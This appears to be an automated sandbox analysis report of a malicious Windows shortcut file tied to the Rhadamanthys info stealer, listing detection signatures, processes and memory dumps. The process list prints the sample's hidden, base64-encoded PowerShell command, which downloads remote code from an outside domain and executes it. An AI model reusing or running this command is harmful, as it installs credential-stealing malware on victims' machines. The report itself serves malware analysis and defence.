Analysis
- max time kernel
145s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
06/04/2024, 01:43
General
- Target decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f.lnk
- Size 9KB
- Sample240406-b5cjkagg5s
- SHA256 decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\sihost.exesihost.exe1⤵
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C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5960 --field-trial-handle=2256,i,6670388345726423024,18382795228658886258,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_lkbahrj0.rkf.ps1
memory/384-22-0x00007FF99AA90000-0x00007FF99AC85000-memory.dmp
memory/384-33-0x000001DEEA8D0000-0x000001DEEACD0000-memory.dmp
memory/384-13-0x000001DEE8220000-0x000001DEE8230000-memory.dmp
memory/384-15-0x000001DEE8220000-0x000001DEE8230000-memory.dmp
memory/384-14-0x000001DEE8220000-0x000001DEE8230000-memory.dmp
memory/384-16-0x000001DEEA850000-0x000001DEEA8AE000-memory.dmp
memory/384-17-0x000001DEEA8B0000-0x000001DEEA8C0000-memory.dmp
memory/384-19-0x000001DEEA8B0000-0x000001DEEA8C0000-memory.dmp
memory/384-18-0x000001DEEA8D0000-0x000001DEEACD0000-memory.dmp
memory/384-20-0x000001DEEA8D0000-0x000001DEEACD0000-memory.dmp
memory/384-21-0x000001DEEA8D0000-0x000001DEEACD0000-memory.dmp
memory/384-11-0x000001DEE81A0000-0x000001DEE81C2000-memory.dmp
memory/384-12-0x00007FF97ABD0000-0x00007FF97B691000-memory.dmp
memory/384-25-0x000001DEEA8D0000-0x000001DEEACD0000-memory.dmp
memory/384-23-0x00007FF999B20000-0x00007FF999BDE000-memory.dmp
memory/384-24-0x00007FF998390000-0x00007FF998659000-memory.dmp
memory/384-32-0x00007FF97ABD0000-0x00007FF97B691000-memory.dmp
memory/1552-30-0x00000202B6270000-0x00000202B6670000-memory.dmp
memory/1552-31-0x00000202B6270000-0x00000202B6670000-memory.dmp
memory/1552-26-0x00000202B4750000-0x00000202B4759000-memory.dmp
memory/1552-34-0x00007FF99AA90000-0x00007FF99AC85000-memory.dmp
memory/1552-36-0x00007FF999B20000-0x00007FF999BDE000-memory.dmp
memory/1552-35-0x00000202B6270000-0x00000202B6670000-memory.dmp
memory/1552-37-0x00007FF998390000-0x00007FF998659000-memory.dmp
memory/1552-38-0x00000202B6270000-0x00000202B6670000-memory.dmp